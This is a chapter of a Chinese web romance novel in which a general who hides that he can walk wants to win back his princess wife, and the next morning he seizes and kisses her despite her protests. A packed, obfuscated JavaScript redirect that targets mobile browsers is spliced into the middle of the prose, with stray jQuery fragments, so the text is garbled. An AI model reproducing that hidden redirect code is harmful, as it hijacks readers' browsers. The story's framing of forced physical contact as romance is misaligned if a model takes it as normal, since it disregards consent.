31. 心悦。

作品:《被迫嫁给残疾将军后

    果不其然,当夜,陆颂渊在书房处理完军中事务后,过去寝殿。


    寝殿门前,阿颜和阿鱼一左一右站在门边,似两个门神,牢牢守着寝殿门。


    见他走近,两人一同看过来,一同的满脸愤愤,向他行礼。


    “奴婢见过将军,将军万安。”


    行完礼后,不待陆颂渊说话,阿鱼便率先说道:“将军,我们公主今日不适,早早就歇下了,还请将军今夜莫要打扰。”


    这语气,跟景回一样一样的。


    “阿鱼!”


    阿颜轻斥她后,上前说道:“还请将军恕罪,她是太忧心公主,语气不好。”


    奴婢护主是好事,他本也没想惩罚。


    陆颂渊挑眉问道:“殿下怎么了?”


    明知故问!


    阿鱼不答,阿颜说道:“公主白日外出之时,被寒风吹着了,有些头疼。方才已经喝药睡下了,将军不必担忧。”


    陆颂渊看着趴在窗边摇头晃脑,毫不掩饰行踪的影子,轻叹了口气。


    没事就好。


    “既如此,那今夜我去书房睡。”


    “恭送将军。”


    陆青越从后推起轮椅,走到拐角之处,屋内结结实实传来一声喷嚏声。


    陆颂渊回头,看见阿鱼和阿颜一同往屋里跑去。


    这到底是有事还是无事。


    “推我过去。”


    陆颂渊沉声说道。


    二人这厢刚转过轮椅,那厢寝室门咣当就关上了,紧接着便传来景回吩咐的声音,“把门关上,窗户也堵死。”


    “……”


    陆颂渊面色瞬间阴沉下来,身后的陆青越憋了半晌,脸都憋红了也没憋住,他大笑几声,“哈哈哈哈。”


    陆颂渊冷冷回头,“你要死吗?”


    他说话时,上下唇上的伤口愈发明显,陆青越接连摆手,“不不不。噗,将军,您白日怎么惹到公主了?竟连寝殿都回不去了。”


    “不说话没人把你当哑巴。”


    陆颂渊瞥了眼寝殿熄下来的灯,“推我去书房。”


    “是。”


    陆青越推着陆颂渊往书房走去,一路上,前面那位脸黑的仿佛是要杀人,陆青越只看了一眼,便再不敢问了。


    到了书房,轮椅碾过坡度门槛,门刚关上,陆青越一转头,轮椅上的人已经起身,自己往桌边走去了。


    他身姿高大,肩部比坐着之时更显挺括,腰背一线挺直如松,腿修长笔直,唯一不足之处,便是行走缓慢。


    是的,陆颂渊并非是外传那般,腿完全断掉,不能行走。


    “将军!”


    陆青越连忙唤了声,大步上前扶住他的手臂,扶着他坐在椅子上,给他倒了杯热茶后,唠叨。


    “秦叔说了,冬日忌行走,否则会落下病根的,您还想当瘸子吗?”


    当日他在战场上,被毒箭射伤双腿,战后请了数十军医和民间大夫,人人皆束手无策,都说那毒是剧毒,扩散甚快,能保住性命,已经是万幸了。


    陆颂渊也曾一度自暴自弃,后来知晓身中之毒与当日致母亲死的毒是同一种后,他一改往日颓废模样,每日按时喝药针灸,学着控制轮椅,甚至差人找来古书,看古时身残之人所学武艺。


    许是上天垂怜,某次陆颂渊在北境城中书店寻书之时,恰巧遇见一盗贼抢夺书生,陆青越出手救下,才是那人竟是个游方的医师,且最善治疑难杂症。


    陆颂渊在他的治疗下,体内毒清除不少,但腿到底是被结结实实射了一箭,要想彻底养好断去的筋骨,清除余毒,怕是要个一年加半载。


    此事并未外传,且当时要回京,是以他便直接对外说,腿彻底断了,非亲近之人不晓。


    陆颂渊端起茶,喝下一杯降了降火,“啰嗦。”


    陆青越心说我啰嗦您也不听啊,随之又给他倒上一杯热茶,端来些饭食。


    陆颂渊草草吃过,喝了碗黑乎乎的药后,陆青越端着个小腿高的泡脚桶进来了。


    桶中皆是奇珍药材,陆颂渊把双脚泡进去,桶中水溢到膝盖上,驱散了那股酸酸的憋闷感。


    来上京之前,陆青越便跟着秦叔学了真就之术。


    陆颂渊泡上后,他拿着针灸包坐在陆颂渊旁边的矮凳上,抽出细针缓缓扎在他大腿的穴位上,边扎边边看陆颂渊的神情是否有不适。


    数十根针扎好,陆颂渊的腿边已经起了一层汗,陆青越也起了一身汗,他抹了把汗收好东西,看着一旁的滴漏。


    “今日不急,将军泡半个时辰吧。”陆青越说道。


    陆颂渊心不在焉地应了声,他靠在椅子上思索片刻,从怀中摸出了白日里景回给他的簪子。


    灯光之下,簪子熠熠生辉,点点闪在陆颂渊眼中。


    “你说……”


    “什么?”


    陆颂渊刚说两个字,便听见陆青越着急的语气。


    他转头看去,只见此人撑着下巴,两眼放光,满脸的好信儿样。


    “滚出去。”


    陆颂渊心道他也是疯了,想问这个小光棍该如何办了。


    陆青越不走,执意给陆颂渊解惑,“将军手中的簪子是公主送的吧?”


    “嗯。”


    “将军下午把公主惹生气了,现下不知该如何做了?”


    “嗯。”


    “难不成将军对公主……”陆青越贼眉鼠眼,“动口了?然后被公主咬了一口?”


    陆颂渊赏了他一眼,“你怎么知道?”


    陆青越心说您这嘴皮子都快被咬烂了,傻子才看不出来。


    不过他可不敢招惹这位爷的晦气,连忙说道:“猜的,猜的。”


    陆颂渊懒得理他,看了那簪子一会儿后,双手把玩着放在腿上。


    “她自己带来的避火图上画着的夫妻之事,缘何我做了,她会那般生气?”


    陆青越看着陆颂渊苦恼的样子,憋笑憋得鼻孔都大了。


    “咳,夫妻之事?”


    “亲了而已。”


    陆青越看了眼陆颂渊手中簪子,问道:“您主动亲了公主?”


    陆颂渊烦躁地看了陆青越一眼,“嗯。”


    “哎呀,将军,这夫妻之事也不是单纯成了夫妻就能做。”


    陆颂渊坦言,“不懂。”


    陆青越当然知道,他问道:“您为何洞房那日不亲公主?”


    “不熟。”


    “那为何今日亲?”


    “嘶。”


    陆颂渊抬手往他头上弹脑瓜崩,“你搁这玩绕口令呢?”


    他的手简直是铁做的,陆青越最怕这个,他被弹得眼冒金星,还是坚强问道:“您先告诉我。”


    “不知。”


    陆颂渊把簪子小心放在桌上,端起茶杯喝了一口,“再说废话滚出去。”


    “哈哈。”


    陆青越一蹦三尺高,“因为您动心了!您心悦公主,是以见到公主送您东西,才会情不自禁!”


    心悦……吗?


    陆颂渊不懂,从来没有人教过他。


    陆庭小妾十几房,从来不将母亲放在眼里,他幼时常常看见的,便是母亲含泪看着他宠爱别人的模样。


    而后家破人亡,而后四处流浪,而后入了军营。


    军营中好男人与妻子分隔两地,没有妻子的光棍平素爱去青楼,陆颂渊从未见过什么惊天动地的夫妻之情。


    “且我说的这夫妻之事呢,多数分两种。”


    陆青越打断陆颂渊的思绪,说道:“以父母之命娶妻,妻子是谁都行,婚后循规蹈矩做夫妻之事,让妻子为自己传宗接代,此为一。这二便是心悦一人,只想与她白头偕老,娶她回家,爱护她一世,这时的夫妻之事便是如登春台,乐到极致的享乐事。”


    显然,他和景回哪一条都不符合。


    但是陆颂渊清楚的知道,今日若是换了旁人来,他断不会如此。


    “心悦是只她才行,是被她牵动,渴望着与她密不可分。”


    陆青越幸灾乐祸,“将军,你完蛋咯~”


    陆颂渊听完后,沉默半晌,他一直看着桌上的簪子,最终叹了口气。


    “她生气,是厌恶我?”


    除了战事,陆颂渊看世间其余事,多悲观。


    这小情苗刚刚发芽,陆青越可不能让它断了。


    他连忙说道:“非也。我观公主在感情之事上心思单纯,想来今日应当是被您吓到了,您先将人哄好了,来日慢慢看透她的心思便是。”


    陆颂渊就是在发愁此事,他揉了揉眉中心,“怎么能让她开心起来?”


    “好说。”<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16442582|184949||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>陆青越一拍胸脯,“公主现下最想要什么,您直接捧到她面前就好了。”


    景回最想要之事,陆颂渊眨了眨眼,怕是只有不让景宁出嫁之事了。


    “将军,您有什么头绪吗?”陆青越凑近陆颂渊。


    “戎袭王为何忽然派人娶亲?”


    北境小国之事,除了战事,陆颂渊多不过问,是以此事他虽知道,却是从未问过。


    “咱们的人说是太后派亲信潜入戎袭国,不知要查探什么消息,被戎袭国王抓住,以要挟太后下嫁公主。”


    “能用此人要挟太后,这探子什么来历?”


    陆青越摇头,“查不到,只是知道太后宁愿下嫁公主,也一定要让此人完璧归赵。”


    “重新查。”


    陆颂渊道:“另,你明日去探一下,戎袭王可有指名让景宁过去。”


    “是。”


    话说完,针也扎得差不多了,陆颂渊净了脚后,钻进冷冰冰的床上,叹了口气。


    想亲她,想抱她,想埋在她颈间入睡……


    想起这些,他的皮肤又开始痒了。


    陆颂渊摸着嘴唇上的伤口,说道:“明日你去给我十串糖葫芦来。”


    端着泡脚桶往外走的陆青越一愣,无奈应道:“是——”


    -


    隔日日上三竿,景回才悠悠转醒。


    没有烦人的铁胳膊禁锢着她,昨夜她睡得那叫一个香,烦人的癸水也去了,景回在床上伸了个懒腰,身体如山峦起伏,嘴角的笑意简直掩盖不住。


    “醒了?”


    一道沉闷沙哑的嗓音传来,“可饿了?”


    “?”


    景回转头看去,隔着纱帐,只见寝殿榻上,陆颂渊手持书卷端坐,正看着她。


    “你怎么进来的?”


    景回立刻停住动作,拉着被子包裹住,小脸瞬间怒气满满。


    陆颂渊眼神黯了黯,“门窗都开着,我为何不能进来?”


    “你!”


    景回看见陆颂渊嘴上的伤口,想起昨日之事,更怒了。


    “这是我的寝殿,你出去。”


    陆颂渊不言,景回只看见他沉默地坐上轮椅,而后拨弄机关来到床边,长臂一身,左右将床帐挂起,而后坐在窗前看着她。


    “你干什么?”


    陆颂渊的眼神有些骇人,景回攥着胸口的被子,默默往后退了退。


    “昨日,抱歉。”


    “道歉就够了吗?”


    景回挥了挥拳,“我的嘴现在还在痛!”


    说完后,景回看见了陆颂渊唇上的伤口,猛地顿了下。


    她移开视线,心道都是他先动口的,他活该。


    陆颂渊点头,问:“你想如何?”


    此刻应当提起景宁之事,但是景回屋内屋外都不见阿鱼和阿颜的身影,她怕再被陆颂渊咬,说道:“我要下床去净室,你不许碰我,我就考虑原谅你。”


    “好。”


    陆颂渊说着,往一旁侧了侧轮椅。


    “你去。”


    如此爽快,景回狐疑地看了看他,见陆颂渊一脸坦荡,景回才蹭到床边,一左一右瞪上鞋子,便准备往外跑。


    只是刚站起身,手腕便被抓住了。


    “!”


    景回甩了甩手腕,“你不讲信用。唔——”


    话音未落,便被陆颂渊拉着坐在了腿上,抱进了怀里。


    “你!”


    景回挣扎着拍陆颂渊的肩膀,“你个骗子!”


    “安静点,阿珠。”


    “我不,嘶——”


    耳垂被含住了,且被舌尖掠过。


    “别动了,让我抱抱。”


    陆颂渊松开景回的耳垂,将她紧紧抱在怀中,鼻尖抵在景回的颈侧,用力吸了几口,胸膛的空虚才仿佛被填满。


    昨夜心意明了,常年无梦的他几次梦醒更衣,梦中人勾得他满.身.欲.火,陆颂渊几次险些忍不住,想翻窗进来找景回。


    入过温热口的耳垂濡湿,此刻他松开,耳尖的冰凉让景回红了眼眶。


    他吓到她了。


    他一点都不顾着她的感受。


    他就是个流氓!


    “陆颂渊。”


    景回张口咬在陆颂渊肩上,“我真的再也不想理你了!”